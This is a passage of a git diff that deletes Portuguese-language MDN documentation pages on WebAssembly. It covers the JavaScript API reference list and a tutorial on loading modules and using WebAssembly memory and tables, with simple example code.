- <dd>This article provides a guide on how to convert a WebAssembly module written in the text format into a .wasm binary.</dd>
-</dl>
-</div>
-
-<div class="section">
-<h2 dir="ltr" id="Referência_de_API">Referência de API</h2>
-
-<dl>
- <dt>{{jsxref("Global_objects/WebAssembly", "WebAssembly")}}</dt>
- <dd>This object acts as the namespace for all WebAssembly related functionality.</dd>
- <dt>{{jsxref("Global_objects/WebAssembly/Module", "WebAssembly.Module()")}}</dt>
- <dd>A <code>WebAssembly.Module</code> object contains stateless WebAssembly code that has already been compiled by the browser and can be efficiently <a href="/en-US/docs/Web/API/Worker/postMessage">shared with Workers</a>, and instantiated multiple times.</dd>
- <dt>{{jsxref("Global_objects/WebAssembly/Instance", "WebAssembly.Instance()")}}</dt>
- <dd>A <code>WebAssembly.Instance</code> object is a stateful, executable instance of a <code>Module</code>.  <code>Instance</code> objects contain all the <a href="/en-US/docs/WebAssembly/Exported_functions">Exported WebAssembly functions</a> that allow calling into WebAssembly code from JavaScript.</dd>
- <dt>{{jsxref("Global_objects/WebAssembly/instantiateStreaming", "WebAssembly.instantiateStreaming()")}}</dt>
- <dd>The <code>WebAssembly.instantiateStreaming()</code> function is the primary API for compiling and instantiating WebAssembly code, returning both a <code>Module</code> and its first <code>Instance</code>.</dd>
- <dt>{{jsxref("Global_objects/WebAssembly/Memory", "WebAssembly.Memory()")}}</dt>
- <dd>A <code>WebAssembly.</code><code>Memory</code> object is a resizable {{jsxref("Global_objects/ArrayBuffer", "ArrayBuffer")}} that holds the raw bytes of memory accessed by an <code>Instance</code>.</dd>
- <dt>{{jsxref("Global_objects/WebAssembly/Table", "WebAssembly.Table()")}}</dt>
- <dd>A <code>WebAssembly.</code><code>Table</code> object is a resizable typed array of opaque values, like function references, that are accessed by an <code>Instance</code>.</dd>
- <dt>{{jsxref("WebAssembly.CompileError()")}}</dt>
- <dd>Creates a new WebAssembly <code>CompileError</code> object.</dd>
- <dt>{{jsxref("WebAssembly.LinkError()")}}</dt>
- <dd>Creates a new WebAssembly <code>LinkError</code> object.</dd>
- <dt>{{jsxref("WebAssembly.RuntimeError()")}}</dt>
- <dd>Creates a new WebAssembly <code>RuntimeError</code> object.</dd>
-</dl>
-</div>
-</div>
-
-<h2 dir="ltr" id="Exemplos">Exemplos</h2>
-
-<ul dir="ltr">
- <li><a href="https://github.com/JasonWeathersby/WASMSobel">WASMSobel</a></li>
- <li>See our <a href="https://github.com/mdn/webassembly-examples/">webassembly-examples</a> repo for a number of other examples.</li>
-</ul>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('WebAssembly JS')}}</td>
- <td>{{Spec2('WebAssembly JS')}}</td>
- <td>Initial draft definition of the JavaScript API.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidade de navegador</h2>
-
-<div>
-
-
-<p>{{Compat("javascript.builtins.WebAssembly")}}</p>
-</div>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul dir="ltr">
- <li><a href="https://research.mozilla.org/webassembly/">WebAssembly on Mozilla Research</a></li>
- <li><a href="http://webassembly.org/">webassembly.org</a></li>
- <li><a href="https://hacks.mozilla.org/category/webassembly/">WebAssembly articles on Mozilla Hacks blog</a></li>
- <li><a href="https://www.w3.org/community/webassembly/">W3C WebAssembly Community Group</a></li>
- <li><a href="/en-US/docs/Web/HTTP/Headers/Large-Allocation">Large-Allocation HTTP header</a></li>
- <li><a href="https://developers.google.com/web/updates/2018/03/emscripting-a-c-library">Emscripting a C Library to Wasm</a></li>
-</ul>
diff --git a/files/pt-pt/webassembly/using_the_javascript_api/index.html b/files/pt-pt/webassembly/using_the_javascript_api/index.html
deleted file mode 100644
index 691ddd443c..0000000000
--- a/files/pt-pt/webassembly/using_the_javascript_api/index.html
+++ /dev/null
@@ -1,258 +0,0 @@
----
-title: Utilizar a WebAssembly JavaScript API
-slug: WebAssembly/Using_the_JavaScript_API
-tags:
- - API
- - Ferramentas de Desenvolvimento
- - JavaScript
- - WebAssembley
- - compilar
- - instantiate
- - memoria
- - tabela
-translation_of: WebAssembly/Using_the_JavaScript_API
-original_slug: WebAssembly/Utilizar_API_JavaScript_WebAssembly
----
-<div>{{WebAssemblySidebar}}</div>
-
-<p class="summary">Se já <a href="/pt-PT/docs/WebAssembly/C_para_wasm">compilou um módulo a partir de outra linguagem utilziando as ferramentas, tal como Emscripten</a>, ou <a href="/pt-PT/docs/WebAssembly/Carregar_executar_codigo_WebAssembly">carregou e executou o código por si mesmo</a>, o passo seguinte é saber mais sobre como utilizar as outras funcionaldiades da WebAssembly JavaScript API. Este artigo ensina-lhe o que precisa de saber.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: If you are unfamiliar with the basic concepts mentioned in this article and need more explanation, read <a href="/en-US/docs/WebAssembly/Concepts">WebAssembly concepts</a> first, then come back.</p>
-</div>
-
-<h2 id="Alguns_exemplos_simples">Alguns exemplos simples</h2>
-
-<p>Let’s run through some examples that explain how to use the WebAssembly JavaScript API, and how to use it to load a wasm module in a web page.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: You can find the sample code in our <a href="https://github.com/mdn/webassembly-examples">webassembly-examples</a> GitHub repo.</p>
-</div>
-
-<h3 id="Preparar_o_exemplo">Preparar o exemplo</h3>
-
-<ol>
- <li>First we need a wasm module! Grab our <a href="https://github.com/mdn/webassembly-examples/raw/master/js-api-examples/simple.wasm">simple.wasm</a> file and save a copy in a new directory on your local machine.</li>
- <li>Next, let’s create a simple HTML file called <code>index.html</code> in the same directory as your wasm file (can use our <a href="https://github.com/mdn/webassembly-examples/blob/master/template/template.html">simple template</a> if you haven’t got one easily available).</li>
- <li>Now, to help us understand what is going on here, let’s look at the text representation of our wasm module (which we also meet in <a href="/en-US/docs/WebAssembly/Text_format_to_wasm#A_first_look_at_the_text_format">Converting WebAssembly format to wasm</a>):
- <pre>(module
- (func $i (import "imports" "imported_func") (param i32))
- (func (export "exported_func")
- i32.const 42
- call $i))</pre>
- </li>
- <li>In the second line, you will see that the import has a two-level namespace — the internal function <code>$i</code> is imported from <code>imports.imported_func</code>. We need to reflect this two-level namespace in JavaScript when writing the object to be imported into the wasm module. Create a <code>&lt;script&gt;&lt;/script&gt;</code> element in your HTML file, and add the following code to it:
- <pre class="brush: js">var importObject = {
- imports: { imported_func: arg =&gt; console.log(arg) }
-};</pre>
- </li>
-</ol>
-
-<h3 id="Transmitir_o_módulo_WebAssembly">Transmitir o módulo WebAssembly</h3>
-
-<p>New in Firefox 58 is the ability to compile and instantiate WebAssembly modules directly from underlying sources. This is achieved using the {{jsxref("WebAssembly.compileStreaming()")}} and {{jsxref("WebAssembly.instantiateStreaming()")}} methods. These methods are easier than their non-streaming counterparts, because they can turn the byte code directly into <code>Module</code>/<code>Instance</code> instances, cutting out the need to separately put the {{domxref("Response")}} into an {{domxref("ArrayBuffer")}}.</p>
-
-<p>This example (see our <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/instantiate-streaming.html">instantiate-streaming.html</a> demo on GitHub, and <a href="https://mdn.github.io/webassembly-examples/js-api-examples/instantiate-streaming.html">view it live</a> also) shows how to use <code>instantiateStreaming()</code> to fetch a wasm module, import a JavaScript function into it, compile and instantiate it, and access its exported function — all in one step.</p>
-
-<p>Add the following to your script, below the first block:</p>
-
-<pre class="brush: js">WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject)
-.then(obj =&gt; obj.instance.exports.exported_func());</pre>
-
-<p>The net result of this is that we call our exported WebAssembly function <code>exported_func</code>, which in turn calls our imported JavaScript function <code>imported_func</code>, which logs the value provided inside the WebAssembly instance (42) to the console. If you save your example code now and load it a browser that supports WebAssembly, you’ll see this in action!</p>
-
-<div class="note">
-<p><strong>Nota</strong>: This is a convoluted, longwinded example that achieves very little, but it does serve to illustrate what is possible — using WebAssembly code alongside JavaScript in your web applications. As we’ve said elsewhere, WebAssembly doesn’t aim to replace JavaScript; the two instead can work together, drawing on each other’s strengths.</p>
-</div>
-
-<h3 id="Carregar_o_nosso_módulo_wasm_sem_transmitir">Carregar o nosso módulo <em>wasm</em> sem transmitir</h3>
-
-<p>If you can't or don't want to use the streaming methods as described above, you can use the non-streaming methods {{jsxref("WebAssembly.compile")}} / {{jsxref("WebAssembly.instantiate")}} instead.</p>
-
-<p>These methods don't directly access the byte code, so require an extra step to turn the response into an {{domxref("ArrayBuffer")}} before compiling/instantiating the wasm module.</p>
-
-<p>The equivalent code would look like this:</p>
-
-<pre class="brush: js">fetch('simple.wasm').then(response =&gt;
- response.arrayBuffer()
-).then(bytes =&gt;
- WebAssembly.instantiate(bytes, importObject)
-).then(results =&gt; {
- results.instance.exports.exported_func();
-});</pre>
-
-<h3 id="Visualização_de_wasm_nas_ferramentas_do_programador">Visualização de <em>wasm</em> nas ferramentas do programador</h3>
-
-<p>In Firefox 54+, the Developer Tool Debugger Panel has functionality to expose the text representation of any wasm code included in a web page. To view it, you can go to the Debugger Panel and click on the “wasm://” entry.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/15823/wasm-debug.png" style="display: block; height: 317px; margin: 0px auto; width: 1019px;"></p>
-
-<p>Starting soon in Firefox, in addition to viewing WebAssembly as text, developers will be able to debug (place breakpoints, inspect the callstack, single-step, etc.) WebAssembly using the text format. See <span class="watch-title" dir="ltr" id="eow-title" title="WebAssembly debugging with Firefox DevTools"><a href="https://www.youtube.com/watch?v=R1WtBkMeGds">WebAssembly debugging with Firefox DevTools</a> </span>for a video preview.</p>
-
-<h2 id="Memória">Memória</h2>
-
-<p>In the low-level memory model of WebAssembly, memory is represented as a contiguous range of untyped bytes called <a href="http://webassembly.org/docs/semantics/#linear-memory">Linear Memory</a> that are read and written by <a href="http://webassembly.org/docs/semantics/#linear-memory-accesses">load and store instructions</a> inside the module.  In this memory model, any load or store can access any byte in the entire linear memory, which is necessary to faithfully represent C/C++ concepts like pointers.</p>
-
-<p>Unlike a native C/C++ program, however, where the available memory range spans the entire process, the memory accessible by a particular WebAssembly Instance is confined to one specific — potentially very small — range contained by a WebAssembly Memory object.  This allows a single web app to use multiple independent libraries — each of which are using WebAssembly internally — to have separate memories that are fully isolated from each other.</p>
-
-<p>In JavaScript, a Memory instance can be thought of as a resizable ArrayBuffer and, just as with ArrayBuffers, a single web app can create many independent Memory objects.  You can create one using the {{jsxref("WebAssembly.Memory()")}} constructor, which takes as arguments an initial size and (optionally) a maximum size.</p>
-
-<p>Let’s start exploring this by looking at a quick example.</p>
-
-<ol>
- <li>
- <p>Create another new simple HTML page (copy our <a href="https://github.com/mdn/webassembly-examples/blob/master/template/template.html">simple template</a>) and call it <code>memory.html</code>. Add a <code>&lt;script&gt;&lt;/script&gt;</code> element to the page.</p>
- </li>
- <li>
- <p>Now add the following line to the top of your script, to create a memory instance:</p>
-
- <pre class="brush: js">var memory = new WebAssembly.Memory({initial:10, maximum:100});</pre>
-
- <p>The unit of <code>initial</code> and <code>maximum</code> is WebAssembly pages — these are fixed to 64KB in size. This means that the above memory instance has an initial size of 640KB, and a maximum size of 6.4MB.</p>
-
- <p>WebAssembly memory exposes its bytes by simply providing a buffer getter/setter that returns an ArrayBuffer. For example, to write 42 directly into the first word of linear memory, you can do this:</p>
-
- <pre class="brush: js">new Uint32Array(memory.buffer)[0] = 42;</pre>
-
- <p>You can then return the same value using:</p>
-
- <pre class="brush: js">new Uint32Array(memory.buffer)[0]</pre>
- </li>
- <li>
- <p>Try this now in your demo — save what you’ve added so far, load it in your browser, then try entering the above two lines in your JavaScript console.</p>
- </li>
-</ol>
-
-<h3 id="Aumento_de_memória">Aumento de memória</h3>
-
-<p>A memory instance can be grown by calls to {{jsxref("Memory.prototype.grow()")}}, where again the argument is specified in units of WebAssembly pages:</p>
-
-<pre class="brush: js">memory.grow(1);</pre>
-
-<p>If a maximum value was supplied upon creation of the memory instance, attempts to grow past this maximum will throw a {{jsxref("WebAssembly.RangeError")}} exception. The engine takes advantage of this supplied upper-bounds to reserve memory ahead of time, which can make resizing more efficient.</p>
-
-<p>Note: Since an {{domxref("ArrayBuffer")}}’s byteLength is immutable, after a successful {{jsxref("Memory.prototype.grow()")}} operation the buffer getter will return a new ArrayBuffer object (with the new byteLength) and any previous ArrayBuffer objects become “detached”, or disconnected from the underlying memory they previously pointed to.</p>
-
-<p>Just like functions, linear memories can be defined inside a module or imported. Similarly, a module may also optionally export its memory. This means that JavaScript can get access to the memory of a WebAssembly instance either by creating a new <code>WebAssembly.Memory</code> and passing it in as an import or by receiving a Memory export (via <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance/exports">Instance.prototype.exports</a></code>).</p>
-
-<h3 id="Exemplo_de_memória_mais_envolvida">Exemplo de memória mais envolvida</h3>
-
-<p>Let’s make the above assertions clearer by looking at a more involved memory example — a WebAssembly module that imports the memory instance we defined earlier, populates it with an array of integers, then sums them. You can find this at <a href="https://github.com/mdn/webassembly-examples/raw/master/js-api-examples/memory.wasm">memory.wasm.</a></p>
-
-<ol>
- <li>
- <p>make a local copy of <code>memory.wasm</code> in the same directory as before.</p>
-
- <div class="note">
- <p><strong>Nota</strong>: You can see the module’s text representation at <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/memory.wat">memory.wat</a>.</p>
- </div>
- </li>
- <li>
- <p>Go back to your <code>memory.html</code> sample file, and fetch, compile, and instantiate your wasm module as before — add the following to the bottom of your script:</p>
-
- <pre class="brush: js">WebAssembly.instantiateStreaming(fetch('memory.wasm'), { js: { mem: memory } })
-.then(obj =&gt; {
-  // add code here
-});</pre>
- </li>
- <li>
- <p>Since this module exports its memory, given an Instance of this module called instance we can use an exported function <code>accumulate()</code> to create and populate an input array directly in the module instance’s linear memory (<code>mem</code>). Add the following into your code, where indicated:</p>
-
- <pre class="brush: js">var i32 = new Uint32Array(memory.buffer);
-
-for (var i = 0; i &lt; 10; i++) {
- i32[i] = i;
-}
-
-var sum = results.instance.exports.accumulate(0, 10);
-console.log(sum);</pre>
- </li>
-</ol>
-
-<p>Note how we create the {{domxref("Uint32Array")}} view on the Memory object’s buffer (<code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/buffer">Memory.prototype.buffer</a></code>), not on the Memory itself.</p>
-
-<p>Memory imports work just like function imports, only Memory objects are passed as values instead of JavaScript functions. Memory imports are useful for two reasons:</p>
-
-<ul>
- <li>They allow JavaScript to fetch and create the initial contents of memory before or concurrently with module compilation.</li>
- <li>They allow a single Memory object to be imported by multiple module instances, which is a critical building block for implementing dynamic linking in WebAssembly.</li>
-</ul>
-
-<div class="note">
-<p><strong>Nota</strong>: You can find our complete demo at <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/memory.html">memory.html</a> (<a href="https://mdn.github.io/webassembly-examples/js-api-examples/memory.html">see it live also</a>) — this version uses the <code><a href="https://github.com/mdn/webassembly-examples/blob/master/wasm-utils.js">fetchAndInstantiate()</a></code> function.</p>
-</div>
-
-<h2 id="Tabelas">Tabelas</h2>
-
-<p>A WebAssembly Table is a resizable typed array of <a href="https://en.wikipedia.org/wiki/Reference_(computer_science)">references</a> that can be accessed by both JavaScript and WebAssembly code.  While Memory provides a resizable typed array of raw bytes, it is unsafe for references to be stored in a Memory since a reference is an engine-trusted value whose bytes must not be read or written directly by content for safety, portability, and stability reasons.</p>
-
-<p>Tables have an element type, which limits the types of reference that can be stored in the table.  In the current iteration of WebAssembly, there is only one type of reference needed by WebAssembly code — functions — and thus only one valid element type.  In future iterations, more element types will be added.</p>
-
-<p>Function references are necessary to compile languages like C/C++ that have function pointers.  In a native implementation of C/C++, a function pointer is represented by the raw address of the function’s code in the process’s virtual address space and so, for the safety reasons mentioned above, cannot be stored directly in linear memory.  Instead, function references are stored in a table and their indexes, which are integers and can be stored in linear memory, are passed around instead.</p>
-
-<p>When the time comes to call a function pointer, the WebAssembly caller supplies the index, which can then be safety bounds checked against the table before indexing and calling the indexed function reference.  Thus, tables are currently a rather low-level primitive used to compile low-level programming language features safely and portably.</p>
-
-<p>Tables can be mutated via <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/set">Table.prototype.set()</a></code>, which updates one of the values in a table, and <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/grow">Table.prototype.grow()</a></code>, which increases the number of values that can be stored in a table.  This allows the indirectly-callable set of functions to change over time, which is necessary for <a href="http://webassembly.org/docs/dynamic-linking/">dynamic linking techniques</a>.  The mutations are immediately accessible via <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/get">Table.prototype.get()</a></code> in JavaScript, and to wasm modules.</p>
-
-<h3 id="Um_exemplo_de_tabela">Um exemplo de tabela</h3>
-
-<p>Let’s looking at an simple table example — a WebAssembly module that creates and exports a table with two elements: element 0 returns 13 and element 1 returns 42. You can find this at <a href="https://github.com/mdn/webassembly-examples/raw/master/js-api-examples/table.wasm">table.wasm</a>.</p>
-
-<ol>
- <li>
- <p>Make a local copy of <code>table.wasm</code> in a new directory.</p>
-
- <div class="note">
- <p><strong>Nota</strong>: You can see the module’s text representation at <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table.wat">table.wat</a>.</p>
- </div>
- </li>
- <li>
- <p>Create a new copy of our <a href="https://github.com/mdn/webassembly-examples/blob/master/template/template.html">HTML template</a> in the same directory and call it <code>table.html</code>.</p>
- </li>
- <li>
- <p>As before, fetch, compile, and instantiate your wasm module — add the following into a {{htmlelement("script")}} element at the bottom of your HTML body:</p>
-
- <pre class="brush: js">WebAssembly.instantiateStreaming(fetch('table.wasm'))
-.then(function(obj) {
-  // add code here
-});</pre>
- </li>
- <li>
- <p>Now let’s access the data in the tables — add the following lines to your code in the indicated place:</p>
-
- <pre class="brush: js">var tbl = results.instance.exports.tbl;
-console.log(tbl.get(0)());  // 13
-console.log(tbl.get(1)());  // 42</pre>
- </li>
-</ol>
-
-<p>This code accesses each function reference stored in the table in turn, and instantiates them to print the values they hold to the console — note how each function reference is retrieved with a <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/get">Table.prototype.get()</a></code> call, then we add an extra set of parentheses on the end to actually invoke the function.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: You can find our complete demo at <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table.html">table.html</a> (<a href="https://mdn.github.io/webassembly-examples/js-api-examples/table.html">see it live also</a>) — this version uses the <code><a href="https://github.com/mdn/webassembly-examples/blob/master/wasm-utils.js">fetchAndInstantiate()</a></code> function.</p>
-</div>
-
-<h2 id="Multiplicidade">Multiplicidade</h2>
-
-<p>Now we’ve demonstrated usage of the main key WebAssembly building blocks, this is a good place to mention the concept of multiplicity. This provides WebAssembly with a multitude of advances in terms of architectural efficiency:</p>
-
-<ul>
- <li>One module can have N Instances, in the same way that one function literal can produce N closure values.</li>
- <li>One module instance can use 0–1 memory instances, which provide the "address space" of the instance. Future versions of WebAssembly may allow 0–N memory instances per module instance (see <a href="http://webassembly.org/docs/future-features/#multiple-tables-and-memories">Multiple Tables and Memories</a>).</li>
- <li>One module instance can use 0–1 table instances — this is the "function address space" of the instance, used to implement C function pointers. Future versions of WebAssembly may allow 0–N table instances per module instance in the future.</li>
- <li>One memory or table instance can be used by 0–N module instances — these instances all share the same address space, allowing <a href="http://webassembly.org/docs/dynamic-linking">dynamic linking</a>.</li>
-</ul>
-
-<p>You can see multiplicity in action in our Understanding text format article — see the <a href="/en-US/docs/WebAssembly/Understanding_the_text_format#Mutating_tables_and_dynamic_linking">Mutating tables and dynamic linking section</a>.</p>
-
-<h2 id="Resumo">Resumo</h2>
-
-<p>This article has taken you through the basics of using the WebAssembly JavaScript API to include a WebAssembly module in a JavaScript context and make use of its functions, and how to use WebAssembly memory and tables in JavaScript. We also touched on the concept of multiplicity.</p>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li><a href="http://webassembly.org/">webassembly.org</a></li>
- <li><a href="/pt-PT/docs/WebAssembly/Conceitos">Conceitos de WebAssembly</a></li>
- <li><a href="https://research.mozilla.org/webassembly/">WebAssembly na Mozilla Research</a></li>
-</ul>